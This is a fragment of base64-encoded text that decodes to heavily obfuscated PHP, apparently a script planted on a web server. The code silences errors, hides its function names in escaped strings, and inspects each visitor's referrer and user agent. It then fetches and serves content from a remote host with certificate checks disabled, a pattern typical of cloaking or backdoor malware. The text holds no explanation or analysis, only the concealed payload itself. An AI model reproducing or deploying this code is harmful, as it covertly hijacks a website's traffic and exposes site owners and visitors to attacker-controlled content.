sgZ290byBLX1VSSmNsUTBsSjZZeUY7IGR2Nko3SmsxQmE2bzJudDogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIFRtelFGNHcxTE1YcHQxYjsgZkxFb0hYZFZuSkdVVXlQOiBZN05HVjdmU0NyY3F3M2k6IGdvdG8geFpfS0RLR294WVZBd2ZUOyBaS0Q1NlcxeV9UVzAxb086IGZ1bmN0aW9uIEp3eElXbXRkbUREc0I0MCgpIHsgZ290byBsMks2cDd4UEExajl4WXQ7IEIxSWN4R2d6MzVybjVkNDogd3hQUmlIb2JqNnpVTW96OiBnb3RvIGdaV2FKTHNJY3FSa25MZzsgbFM4ektMQk80X0UyQ2dMOiBJWkU5UENVMjNOTEFnWTY6IGdvdG8gZzNWQ2hsekwzTmM1RU5nOyBmY2c4OXliS2hWR0RvR2k6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFwxMzdcMTMwXHg1Zlx4NDZcMTE3XDEyMlx4NTdcMTAxXDEyMlx4NDRcMTA1XDEwNFwxMzdcMTIwXDEyMlwxMTdcMTI0XDExNyJdKSAmJiAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdceDU4XHg1Zlx4NDZcMTE3XDEyMlx4NTdceDQxXHg1Mlx4NDRceDQ1XDEwNFwxMzdceDUwXHg1MlwxMTdcMTI0XHg0ZiJdID09PSAiXHg2OFx4NzRcMTY0XHg3MFwxNjMiKSB7IGdvdG8gbFd4OFJ4MzRPWFRVb1hqOyB9IGdvdG8gQVAzcm81dThSbXlUX2xOOyB4Y0tuQzFzMWdDUzJ5VE86IGg1cHcwd0diNkR1VE9WdDogZ290byBWdGNxNGRJY0IwN2N3QTA7IGwySzZwN3hQQTFqOXhZdDogJFZEWWc1QUVRRUtZNkZGMiA9ICJceDY4XDE2NFwxNjRceDcwXHgzYVw1N1x4MmYiOyBnb3RvIE1uNXlEN1BqdmRYeXJTYTsgTFNDVmROM1NlaWJCTEFnOiAkVkRZZzVBRVFFS1k2RkYyID0gIlwxNTBceDc0XHg3NFx4NzBceDczXHgzYVw1N1x4MmYiOyBnb3RvIFl1TnU1ZVNQZ1RncTVLQTsgallaRUJKcndZSVRKX2ZPOiBnb3RvIGg1cHcwd0diNkR1VE9WdDsgZ290byBLaUR6QjJEMEhVNmNyd1Q7IGczVkNobHpMM05jNUVOZzogJFZEWWc1QUVRRUtZNkZGMiA9ICJceDY4XDE2NFx4NzRceDcwXDE2M1x4M2FceDJmXDU3IjsgZ290byB4Y0tuQzFzMWdDUzJ5VE87IEFQM3JvNXU4Um15VF9sTjogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXHg1ZlwxMDZceDUyXHg0Zlx4NGVceDU0XDEzN1x4NDVcMTE2XHg0NFx4NWZceDQ4XDEyNFwxMjRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMDZceDUyXDExN1x4NGVcMTI0XDEzN1wxMDVceDRlXHg0NFwxMzdcMTEwXDEyNFx4NTRcMTIwXDEyMyJdKSAhPT0gIlx4NmZcMTQ2XDE0NiIpIHsgZ290byBJWkU5UENVMjNOTEFnWTY7IH0gZ290byBDSTRlMERNNm8xQnBiU3I7IFl1TnU1ZVNQZ1RncTVLQTogZ290byBoNXB3MHdHYjZEdVRPVnQ7IGdvdG8gbFM4ektMQk80X0UyQ2dMOyBDSTRlMERNNm8xQnBiU3I6IGdvdG8gaDVwdzB3R2I2RHVUT1Z0OyBnb3RvIEIxSWN4R2d6MzVybjVkNDsgTW41eUQ3UGp2ZFh5clNhOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBcMTIzIl0pICE9PSAiXHg2ZlwxNDZceDY2IikgeyBnb3RvIHd4UFJpSG9iajZ6VU1vejsgfSBnb3RvIGZjZzg5eWJLaFZHRG9HaTsgZ1pXYUpMc0ljcVJrbkxnOiAkVkRZZzVBRVFFS1k2RkYyID0gIlx4NjhcMTY0XHg3NFwxNjBcMTYzXDcyXHgyZlw1NyI7IGdvdG8gallaRUJKcndZSVRKX2ZPOyBLaUR6QjJEMEhVNmNyd1Q6IGxXeDhSeDM0T1hUVW9YajogZ290byBMU0NWZE4zU2VpYkJMQWc7IFZ0Y3E0ZEljQjA3Y3dBMDogcmV0dXJuICRWRFlnNUFFUUVLWTZGRjI7IGdvdG8geVdXUFhxa0Q1Y2FNMVJKOyB5V1dQWHFrRDVjYU0xUko6IH0gZ290byBmb2Ewd0VXemVVZ2EweTc7IGV4NWh2MHJtcGFGd25XRzogJFU1TExnUXZ1NTJ1VGU4aFsiXHg2OSJdID0gVmp3azhOQ0hqZHJpQWxlKCRnMDJzcUUxalNLMlVvaVcpOyBnb3RvIHV4R1dSdEhjM3dIdGJwdDsgekVDc3F2N19BSHpRWWI4OiBlY2hvICRHeGxiTDZYb0FKYnVlSWNbIlx4NjNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzQiXTsgZ290byBKUElDTkxoM2trYnNaVnk7IFByZFcxUjA4WldIb0lwUzogJFI2OEQ0T254UzQ4Mkg4eCA9ICR7JGV3TVhKX3NkWF9VM2xscFsyNyArIDRdIC4gJGV3TVhKX3NkWF9VM2xscFs0NSArIDE0XSAuICRld01YSl9zZFhfVTNsbHBbMzMgKyAxNF0gLiAkZXdNWEpfc2RYX1UzbGxwWzggKyAzOV0gLiAkZXdNWEpfc2RYX1UzbGxwWzMyICsgMTldIC4gJGV3TVhKX3NkWF9VM2xscFs3ICsgNDZdIC4gJGV3TVhKX3NkWF9VM2xscFs1NSArIDJdfTsgZ290byBvRm96M1ZOc2dIUWpYZnk7IGpGZXNraTduQWgyV1JBMDogaGVhZGVyKCJceDQzXDE1N1x4NmVceDc0XDE0NVwxNTZcMTY0XDU1XDEyNFx4NzlceDcwXHg2NVw3Mlw0MFx4NzRceDY1XDE3MFwxNjRcNTdceDY4XDE2NFwxNTVceDZjXHgzYlx4MjBceDYzXDE1MFwxNDFceDcyXHg3M1x4NjVcMTY0XHgzZFx4NzVceDc0XHg2Nlx4MmRceDM4Iik7IGdvdG8gZHY2SjdKazFCYTZvMm50OyBreTIyM2o2UThSRjZlMjY6IGZ1bmN0aW9uIEE3MW14elpwQTlNWWU0MygkeVNDTGNLbl9mOXZyU3NnLCAkWk9pa2NIZktJOFZnejVXID0gYXJyYXkoKSkgeyBnb3RvIGlrZlp5UmQxOXl6M1VVSzsgckdGZUsxZEpaMFJzUDFNOiByZXR1cm4gJEd4bGJMNlhvQUpidWVJYzsgZ290byBSQ045VlBvYmY5NjlaM2M7IFdMTncyRHpKU2pZX3p6VDogJHlTQ0xjS25fZjl2clNzZyAuPSAiXDc3IiAuIGh0dHBfYnVpbGRfcXVlcnkoJFpPaWtjSGZLSThWZ3o1Vyk7IGdvdG8gZ3Z5cE1ydEJEYk9NU3NLOyBwVHk4RnNVTkl0RWlQQTk6IGlmICghKGlzX2FycmF5KCRaT2lrY0hmS0k4Vmd6NVcpICYmIGNvdW50KCRaT2lrY0hmS0k4Vmd6NVcpKSkgeyBnb3RvIFU0a2ZRRGVONXgxOHNycTsgfSBnb3RvIFdMTncyRHpKU2pZX3p6VDsgaWtmWnlSZDE5eXozVVVLOiAkR3hsYkw2WG9BSmJ1ZUljID0gYXJyYXkoIlwxNjNceDc0XDE0MVx4NzRcMTY1XHg3MyIgPT4gMCwgIlx4NjNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVx4NzQiID0+ICcnLCAiXDE2NFx4NzlcMTYwXHg2NSIgPT4gJycpOyBnb3RvIHBUeThGc1VOSXRFaVBBOTsgZ3Z5cE1ydEJEYk9NU3NLOiBVNGtmUURlTjV4MThzcnE6IGdvdG8gYkVDbXRhV21PTkFfdEROOyBiRUNtdGFXbU9OQV90RE46IHRyeSB7IGdvdG8gb2F2V3V5dkt6QktoRzV2OyBRNnNLS1lSTkt6VmNQMmY6IGN1cmxfc2V0b3B0KCRndHhxUG9hOE1RRFdPNHIsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIHpFZGlseGg1SjhaRXc5MTsgSUg4ZWNocTJZOV9CVndhOiAkbFl2dUpDWG0yWWRVVEluID0gY3VybF9leGVjKCRndHhxUG9hOE1RRFdPNHIpOyBnb3RvIFR6czJlTHh5MUZRSWxNUTsgVkFxNktTRXk3MzRRS012OiBIWEtRTWMxdXF3MTBFVEo6IGdvdG8ga2VYQkxFaUJYQXY4ZjZSOyBFZ1FVU2tDNHdmVHZ5VU46ICRndHhxUG9hOE1RRFdPNHIgPSBjdXJsX2luaXQoKTsgZ290byBnTDIzOFdlMFpkNGpwU2w7IEdDQUl2cXI5emZibVozSzogY3VybF9zZXRvcHQoJGd0eHFQb2E4TVFEV080ciwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMjApOyBnb3RvIGdvVExWeUVPMk9xZ2RsZTsgb2F2V3V5dkt6QktoRzV2OiBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXHg3NVwxNjJcMTU0XDEzN1x4NjVcMTcwXHg2NVx4NjMiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNDNcMTY1XHg3Mlx4NmNcMTM3XDE1MVwxNTZceDY5XHg3NCIpKSB7IGdvdG8gU2tLMGg1R2VhV2FMVTZTOyB9IGdvdG8gcnFFQkZIV0taMkVXYllIOyBtbXh5RVI4YjNFYWhibks6IGN1cmxfc2V0b3B0KCRndHhxUG9hOE1RRFdPNHIsIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgMCk7IGdvdG8gd3VDalBuX25mMzRpSTJsOyBoVjZqSTJHRE5uRW1aRHk6ICRJUnZFV3o0MnpfbnhuRUkgPSBAZmlsZV9nZXRfY29udGVudHMoJHlTQ0xjS25fZjl2clNzZywgZmFsc2UsICRSNjZwQ2FjbUJlbVhjR2opOyBnb3RvIEdGc294dWt5bmZSYnNfVDsgdExkT3FnUFFjNlNLRUQwOiBnb3RvIEZRMnowbFRpVmxmR1YwdDsgZ290byBURlAzbjBzdTVIQm0ydEs7IGdvVExWeUVPMk9xZ2RsZTogY3VybF9zZXRvcHQoJGd0eHFQb2E4TVFEV080ciwgQ1VSTE9QVF9USU1FT1VULCA2MCk7IGdvdG8gcmRqblJ6bVpuZU1OejNXOyB3dUNqUG5fbmYzNGlJMmw6IGN1cmxfc2V0b3B0KCRndHhxUG9hOE1RRFdPNHIsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIElIOGVjaHEyWTlfQlZ3YTsgTGF2d2ZUOE01NWxEMmtYOiBAY3VybF9jbG9zZSgkZ3R4cVBvYThNUURXTzRyKTsgZ290byBKc3g4NXF4eVd6YUtXMUQ7IFY2ZjdWY3cwMm9KN1VqMjogJEd4bGJMNlhvQUpidWVJY1siXHg2M1x4NmZceDZlXDE2NFx4NjVceDZlXHg3NCJdID0gc3RydmFsKCRsWXZ1SkNYbTJZZFVUSW4pOyBnb3RvIHlFazcwYnZzQnZSd21BWTsgWlZkZl9MVjZVS3F6M3k3OiAkV1ZQY3ZIemdGeWhVQTRFID0gYXJyYXkoIlx4NjhcMTY0XDE2NFwxNjAiID0+IGFycmF5KCJceDZkXDE0NVx4NzRceDY4XDE1N1wxNDQiID0+ICJcMTA3XDEwNVx4NTQiLCAiXDE2NFwxNTFceDZkXDE0NVwxNTdcMTY1XDE2NCIgPT4gNjAsICJceDY2XHg2Zlx4NmNceDZjXHg2Zlx4NzdcMTM3XHg2Y1wxNTdceDYzXHg2MVx4NzRcMTUxXDE1N1wxNTYiID0+IDApLCAiXDE2M1wxNjNcMTU0IiA9PiBhcnJheSgiXDE2Nlx4NjVceDcyXHg2OVx4NjZceDc5XHg1Zlx4NzBcMTQ1XDE0NVx4NzIiID0+IGZhbHNlLCAiXHg3NlwxNDVcMTYyXDE1MVx4NjZceDc5XHg1ZlwxNjBceDY1XHg2NVwxNjJcMTM3XDE1Nlx4NjFcMTU1XHg2NSIgPT4gZmFsc2UpKTsgZ290byBuQmFVZ2dNUkdoeXRqclo7IGZaVmRKMGRWbDRuWGUzTTogJEd4bGJMNlhvQUpidWVJY1siXDE0M1wxNTdceDZlXHg3NFx4NjVceDZlXHg3NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkZ3R4cVBvYThNUURXTzRyLCBDVVJMSU5GT19SRURJUkVDVF9VUkwpKTsgZ290byBMYXZ3ZlQ4TTU1bEQya1g7IFRGUDNuMHN1NUhCbTJ0SzogbHZJUDlOMGhUMDJIRHVUOiBnb3RvIFpWZGZfTFY2VUtxejN5NzsgSnN4ODVxeHlXemFLVzFEOiBpZiAoIWluX2FycmF5KCRHeGxiTDZYb0FKYnVlSWNbIlx4NzNcMTY0XDE0MVx4NzRceDc1XDE2MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIEVmT0RvMWZMNFZYRUxVNzsgfSBnb3RvIFY2ZjdWY3cwMm9KN1VqMjsgR1Zrb250ZkFpUjA5VWxWOiBnb3RvIEZRMnowbFRpVmxmR1YwdDsgZ290byBLUjJHRjg2bjFYRFZYRTA7IFMzajhBVlhIZm5DSW0wRzogJEd4bGJMNlhvQUpidWVJY1siXDE2NFwxNzFceDcwXHg2NSJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkZ3R4cVBvYThNUURXTzRyLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgZ290byBmWlZkSjBkVmw0blhlM007IG5CYVVnZ01SR2h5dGpyWjogJFI2NnBDYWNtQmVtWGNHaiA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkV1ZQY3ZIemdGeWhVQTRFKTsgZ290byBoVjZqSTJHRE5uRW1aRHk7IEtSMkdGODZuMVhEVlhFMDogU2tLMGg1R2VhV2FMVTZTOiBnb3RvIEVnUVVTa0M0d2ZUdnlVTjsgcnFFQkZIV0taMkVXYllIOiBpZiAoaW5pX2dldCgiXHg2MVx4NmNceDZjXDE1N1wxNjdcMTM3XHg3NVwxNjJceDZjXDEzN1wxNDZcMTU3XHg3MFwxNDVcMTU2IikpIHsgZ290byBsdklQOU4waFQwMkhEdVQ7IH0gZ290byBHVmtvbnRmQWlSMDlVbFY7IGdMMjM4V2UwWmQ0anBTbDogY3VybF9zZXRvcHQoJGd0eHFQb2E4TVFEV080ciwgQ1VSTE9QVF9VUkwsICR5U0NMY0tuX2Y5dnJTc2cpOyBnb3RvIFE2c0tLWVJOS3pWY1AyZjsgeUVrNzBidnNCdlJ3bUFZOiBFZk9EbzFmTDRWWEVMVTc6IGdvdG8gdExkT3FnUFFjNlNLRUQwOyBIeHZ0QUtVZF85dXVKMnU6IGlmICghaW5fYXJyYXkoJEd4bGJMNlhvQUpidWVJY1siXHg3M1wxNjRcMTQxXHg3NFwxNjVceDczIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gSFhLUU1jMXVxdzEwRVRKOyB9IGdvdG8gcl9Eem5PQU9lN0ZWeUFlOyByX0R6bk9BT2U3RlZ5QWU6ICRHeGxiTDZYb0FKYnVlSWNbIlwxNDNcMTU3XDE1NlwxNjRcMTQ1XDE1Nlx4NzQiXSA9IHN0cnZhbCgkSVJ2RVd6NDJ6X254bkVJKTsgZ290byBWQXE2S1NFeTczNFFLTXY7IFR6czJlTHh5MUZRSWxNUTogJEd4bGJMNlhvQUpidWVJY1siXDE2M1x4NzRceDYxXHg3NFwxNjVceDczIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRndHhxUG9hOE1RRFdPNHIsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIFMzajhBVlhIZm5DSW0wRzsga2VYQkxFaUJYQXY4ZjZSOiBGUTJ6MGxUaVZsZkdWMHQ6IGdvdG8gQlZTMmFVSVFkX1Z3Q0tFOyB6RWRpbHhoNUo4WkV3OTE6IGN1cmxfc2V0b3B0KCRndHhxUG9hOE1RRFdPNHIsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIEdDQUl2cXI5emZibVozSzsgcmRqblJ6bVpuZU1OejNXOiBjdXJsX3NldG9wdCgkZ3R4cVBvYThNUURXTzRyLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBtbXh5RVI4YjNFYWhibks7IEdGc294dWt5bmZSYnNfVDogJEd4bGJMNlhvQUpidWVJYyA9IGFycmF5X21lcmdlKCRHeGxiTDZYb0FKYnVlSWMsIGVrY0FjdG9qdGZOQ1lIaCgkaHR0cF9yZXNwb25zZV9oZWFkZXIpKTsgZ290byBIeHZ0QUtVZF85dXVKMnU7IEJWUzJhVUlRZF9Wd0NLRTogfSBjYXRjaCAoRXhjZXB0aW9uICRjZldId1MyMFU2ZTJ5QlIpIHsgfSBnb3RvIHJHRmVLMWRKWjBSc1AxTTsgUkNOOVZQb2JmOTY5WjNjOiB9IGdvdG8gVUh0V0VTNWtJQ0FkbFEwOyBSRnBmNk93dVRUN2V6bk06IGV4aXQoIlwxNzNcNDBceDIyXHg2NVwxNjJcMTYyXHg2Zlx4NzJceDIyXDcyXDQwXDYyXDYwXHgzMFw1NFw0MFx4MjJceDZjXDE0M1x4MjJceDNhXDQwXDQyXHg2YVwxNTNceDIyXHgyY1x4MjBcNDJcMTQ0XHg2MVwxNjRcMTQxXHgyMlw3Mlw0MFx4NWJceDIwXHgzMVx4MjBcMTM1XHgyMFx4N2QiKTsgZ290byBCOWd1dm9rUzRRVnFoOVE7IFlwcEdPWmREQW5Ba1BOVjogQGhlYWRlcigiXHg0M1x4NmZcMTU2XHg3NFwxNDVcMTU2XHg3NFx4MmRceDU0XHg3OVx4NzBceDY1XDcyIiAuICRHeGxiTDZYb0FKYnVlSWNbIlwxNjRcMTcxXHg3MFx4NjUiXSk7IGdvdG8gekVDc3F2N19BSHpRWWI4OyBiQlg5azA2R3RNcV9ER3E6IHFKVlJMSmlPSUdjNmNvSTogZ290byBXZTBLS2MzT0tLSFhGSmY7IGRjZXZSampScnA4MU52azogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJceDUzXHg0NVx4NTJceDU2XHg0NVx4NTJcMTM3XHg0ZVwxMDFcMTE1XDEwNSJdKSkpOyBnb3RvIGZMRW9IWGRWbkpHVVV5UDsgSlBJQ05MaDNra2JzWlZ5OiBleGl0KDApOyBnb3RvIHhJcGlqeUNxQXNoMmRBZDsgSXNaV2hNbmhrMGY1ZGRDOiBCYzhTanppTktQSmlkQTI6IGdvdG8gZ1M3NHVBbmhnM052ZGo3OyBUb09NSXZNV2t2YWZXSG46IGlmICghKHN0cnBvcygkSDZWVkJPU05Na2FSS3lOLCAiXHgyZSIpID4gMCAmJiBzdHJwb3MoJEg2VlZCT1NOTWthUkt5TiwgIlx4MmVcMTYwXDE1MFwxNjAiKSA9PT0gZmFsc2UpKSB7IGdvdG8gQ1FhaVhEandfYk93U0ZWOyB9IGdvdG8gZFpzRHV4ZXFVa0Q3Q1BrOyB4SXBpanlDcUFzaDJkQWQ6IFlBUjBFTUFtZlNuSTljZTogZ290byBZaGxDZk5kUGZnMkJkX1o7IGRac0R1eGVxVWtEN0NQazogJEpfQVRIZDV1TmNXVE13diA9IHN1YnN0cigkSDZWVkJPU05Na2FSS3lOLCBzdHJwb3MoJEg2VlZCT1NOTWthUkt5TiwgIlw1NiIpKTsgZ290byBSS1dPeUV6T0FVUzFfOXY7IFJLV095RXpPQVVTMV85djogaWYgKCFpbl9hcnJheSgkSl9BVEhkNXVOY1dUTXd2LCBhcnJheSgiXHgyZVx4NmFcMTYzIiwgIlw1Nlx4NjNceDczXHg3MyIsICJcNTZceDZhXHg3MFwxNDciLCAiXDU2XDE2MFx4NmVceDY3IiwgIlx4MmVcMTQ3XDE1MVx4NjYiLCAiXDU2XDE1MVx4NjNcMTU3IikpKSB7IGdvdG8gS2MwUTBaVzI4RDVsSDh4OyB9IGdvdG8gdzlQMVJQeXNabW03M1N5OyBQSUVJQ1RwblZucFcweEU6IENRYWlYRGp3X2JPd1NGVjogZ290byBwTVl0c3M0bzRSYU1jaXg7IExfSkg1Z0hWS1pMdnlVeTogJHVmd1pBRG1xOE0wbW1sVyA9IHN0cnZhbChAJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXDEyMlwxMDVcMTA2XHg0NVwxMjJceDQ1XHg1MiJdKTsgZ290byB3MmNJTzBlOUxrd1VkZjk7IFRtelFGNHcxTE1YcHQxYjogZnVuY3Rpb24gRWtjYUNUb2p0Rm5DeWhIKCRWNVFhc3llMEhta1JSRzEpIHsgZ290byBhM2VNRjE5NlJ2bHpPZjQ7IG12Q002U2FyU2xhRmNNcDogQkxmT1BUV1NRMEFEeGNTOiBnb3RvIENCZDdrdXdxMmV3a3c4UTsgYTNlTUYxOTZSdmx6T2Y0OiAkVHRpNXdWb1JPWTBucUxPID0gYXJyYXkoIlx4NzNcMTY0XHg2MVx4NzRcMTY1XHg3MyIgPT4gMCwgIlwxNDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVx4NzQiID0+ICcnLCAiXDE2NFx4NzlcMTYwXDE0NSIgPT4gJycpOyBnb3RvIFdiX2U4RjN2aWtxc3BaQTsgbFZYdTdvX0d3eDRMYVh2OiBvRXBJb29TMTN4THFPQ2Y6IGdvdG8gTXJjWlhjR2xlSXpfNXl0OyBaRGNFM0pNRHptMDlLRVY6IHJldHVybiAkVHRpNXdWb1JPWTBucUxPOyBnb3RvIGxWWHU3b19Hd3g0TGFYdjsgTXJjWlhjR2xlSXpfNXl0OiBmb3JlYWNoICgkVjVRYXN5ZTBIbWtSUkcxIGFzICR3eDZ3VlJqb0FyVk5xMEspIHsgZ290byBKQjEwSDByUFVoMDY0TUU7IG8wQ2hTMTNHM1c1b1ZUMzogZ290byBCZVVvS0FpUGF6YnRtZUU7IGdvdG8gdjdIbVN4SnJPUkNveEI3OyBVczVhNVB1c3E3Tkkwa2w6IEJlVW9LQWlQYXpidG1lRTogZ290byBBZXhqVzFnWks2Nzl5cG47IEhzNDdVdFpsUEFvcEE1SzogJFR0aTV3Vm9ST1kwbnFMT1siXDE0M1x4NmZcMTU2XDE2NFx4NjVcMTU2XDE2NCJdID0gJG9oR1ZSbWVsbkc2bmZKeFsxXTsgZ290byB6TVdQT1hpeHAwSVI1b2c7IHpNV1BPWGl4cDBJUjVvZzogZ290byBCZVVvS0FpUGF6YnRtZUU7IGdvdG8gdFRGOER0aUZqMkkwSzJSOyBaQ19PQ21ra1FMOGtjWjg6IGdvdG8gQmVVb0tBaVBhemJ0bWVFOyBnb3RvIEFHUWtFcWphNzFyRnlJMjsgQUdRa0VxamE3MXJGeUkyOiBncl9aTmMzUnFWQjdXT1o6IGdvdG8gSHM0N1V0WmxQQW9wQTVLOyBwQkJsUHVlOVMzb3ZaZEw6ICRUdGk1d1ZvUk9ZMG5xTE9bIlx4NzRcMTcxXDE2MFwxNDUiXSA9ICRvaEdWUm1lbG5HNm5mSnhbMV07IGdvdG8gVXM1YTVQdXNxN05JMGtsOyB0VEY4RHRpRmoySTBLMlI6IGtMZmQwdjZtdXhMMDFRUDogZ290byBwQkJsUHVlOVMzb3ZaZEw7IEpCMTBIMHJQVWgwNjRNRTogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTUwXHg3NFx4NzRcMTYwXDEzNFw1N1x4NWJceDMwXDU1XDcxXDEzNFw1Nlx4NWRceDJiXDEzM1wxMzRceDczXHg1ZFw1M1w1MFwxMzNceDMwXDU1XDcxXDEzNVw1M1w1MVw1N1x4NjkiLCAkd3g2d1ZSam9BclZOcTBLLCAkb2hHVlJtZWxuRzZuZkp4KSkgeyBnb3RvIFF0M2tWUFdGZG03N3p3NDsgfSBnb3RvIHI4ODVHbnBVYWdwTFdiODsgdjdIbVN4SnJPUkNveEI3OiBRdDNrVlBXRmRtNzd6dzQ6IGdvdG8gVkN1QzZ3ZFI0ZGtIOXZBOyBBZXhqVzFnWks2Nzl5cG46IEViZXZGNjJTSXczdl9ZZTogZ290byBxNHFWaXJVYnJfUlgweWg7IFZDdUM2d2RSNGRrSDl2QTogJFR0aTV3Vm9ST1kwbnFMT1siXHg3M1wxNjRcMTQxXDE2NFx4NzVcMTYzIl0gPSBpbnR2YWwoJG9oR1ZSbWVsbkc2bmZKeFsxXSk7IGdvdG8gWkNfT0Nta2tRTDhrY1o4OyByODg1R25wVWFncExXYjg6IGlmIChwcmVnX21hdGNoKCJceDJmXDE1NFwxNTdceDYzXDE0MVwxNjRcMTUxXHg2ZlwxNTZcMTM0XHgzYVx4NWJcMTM0XDE2M1x4NWRceDJiXDUwXHgyZVx4MmFceDI5XHgyZlwxNTEiLCAkd3g2d1ZSam9BclZOcTBLLCAkb2hHVlJtZWxuRzZuZkp4KSkgeyBnb3RvIGdyX1pOYzNScVZCN1dPWjsgfSBnb3RvIFBZX1BEcHZzN1N3dzFUajsgUFlfUERwdnM3U3d3MVRqOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2M1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NFx4NWNceDJkXDE2NFx4NzlceDcwXHg2NVwxMzRceDNhXHg1YlwxMzRcMTYzXHg1ZFw1M1x4MjhceDJlXHgyYVw1MVw1N1wxNTEiLCAkd3g2d1ZSam9BclZOcTBLLCAkb2hHVlJtZWxuRzZuZkp4KSkgeyBnb3RvIGtMZmQwdjZtdXhMMDFRUDsgfSBnb3RvIG8wQ2hTMTNHM1c1b1ZUMzsgcTRxVmlyVWJyX1JYMHloOiB9IGdvdG8gbXZDTTZTYXJTbGFGY01wOyBXYl9lOEYzdmlrcXNwWkE6IGlmIChpc19hcnJheSgkVjVRYXN5ZTBIbWtSUkcxKSkgeyBnb3RvIG9FcElvb1MxM3hMcU9DZjsgfSBnb3RvIFpEY0UzSk1Eem0wOUtFVjsgQ0JkN2t1d3EyZXdrdzhROiByZXR1cm4gJFR0aTV3Vm9ST1kwbnFMTzsgZ290byBSWTNEcmUwdXRPek9NNGg7IFJZM0RyZTB1dE96T000aDogfSBnb3RvIGt5MjIzajZROFJGNmUyNjsgS19VUkpjbFEwbEo2WXlGOiBpZiAoIShzdHJwb3MoJHVmd1pBRG1xOE0wbW1sVywgJENJQnZaVGFDSmVVUDN5NSkgPT09IDApKSB7IGdvdG8gaE82dEJDUFdXa1dlM0hmOyB9IGdvdG8gVmhGeWM2Z216TjVuSlZFOyBXYnVwb2VyaEJaQ0VRVWU6ICRVNUxMZ1F2dTUydVRlOGhbIlwxNjUiXSA9IFZKV2s4bmNoSmRyaUFsRSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NWZcMTI1XDEyM1wxMDVceDUyXDEzN1x4NDFceDQ3XDEwNVx4NGVcMTI0Il0pOyBnb3RvIEhUNjQyWlIxNGpReU1kYzsgeGpXRmdlSnZiUjdTMXdQOiBGSHpSM0tJVlBhSlVuN006IGdvdG8gb012bDBDZmV6dVF1YmJvOyB6VE45Qmg4d2IxTXo0SHA6ICRBVzBhU3VwRlIzd3ZwTGcgPSAiXHg3MiIgLiAiXHg2MSIgLiAiXHg2ZSIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gejVhdWJhTFZvaVFkWkNfOyBVU29WUWJUemxmMGVMaWU6ICRnMDJzcUUxalNLMlVvaVcgPSBKVGxJY25TZHdLZzdWOEwoKTsgZ290byBMX0pINWdIVktaTHZ5VXk7IFBYMWgyTWFMeTFDQ0R4TjogaE82dEJDUFdXa1dlM0hmOiBnb3RvIGx6cUVVd0Rjb1FyMUU3MDsgV2UwS0tjM09LS0hYRkpmOiBpZiAoIXN0cmxlbigkR3hsYkw2WG9BSmJ1ZUljWyJcMTQzXHg2ZlwxNTZcMTY0XHg2NVx4NmVceDc0Il0pKSB7IGdvdG8gWUFSMEVNQW1mU25JOWNlOyB9IGdvdG8gWXBwR09aZERBbkFrUE5WOyBOaGVid3o2OFNZTzN2MFM6ICRVNUxMZ1F2dTUydVRlOGhbIlwxNjIiXSA9IHZKV2s4TmNIamRSaUFMRSgkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXHg1NVwxMDVcMTIzXHg1NFwxMzdceDU1XHg1MlwxMTEiXSk7IGdvdG8gRWpwNjU1NUg3MmhxNFlkOyBSNzVUc2x1blk4d3hsU2w6IGVycm9yX3JlcG9ydGluZygwKTsgZ290byB6VE45Qmg4d2IxTXo0SHA7IHo1YXViYUxWb2lRZFpDXzogJGV3TVhKX3NkWF9VM2xscCA9ICRBVzBhU3VwRlIzd3ZwTGcoIlx4N2UiLCAiXDQwIik7IGdvdG8gUHJkVzFSMDhaV0hvSXBTOyB3OVAxUlB5c1ptbTczU3k6ICRlNUhGaEVETTdFejI0VjIgPSB0cnVlOyBnb3RvIEN1RUlmdHZEQ2tfUTd1bTsgSFQ2NDJaUjE0alF5TWRjOiAkSDZWVkJPU05Na2FSS3lOID0gcHJlZ19yZXBsYWNlKCJceDJmXDEzNFx4M2ZcNTZcNTJcNTciLCAnJywgJF9TRVJWRVJbIlwxMjJceDQ1XDEyMVx4NTVceDQ1XDEyM1wxMjRcMTM3XDEyNVx4NTJceDQ5Il0pOyBnb3RvIFllMXRrTzB5YzRWem04MjsgQjlndXZva1M0UVZxaDlROiBiTkxkX1E5YnZMTFJSdDc6IGdvdG8gVVNvVlFiVHpsZjBlTGllOyBZaGxDZk5kUGZnMkJkX1o6IGRodHJfV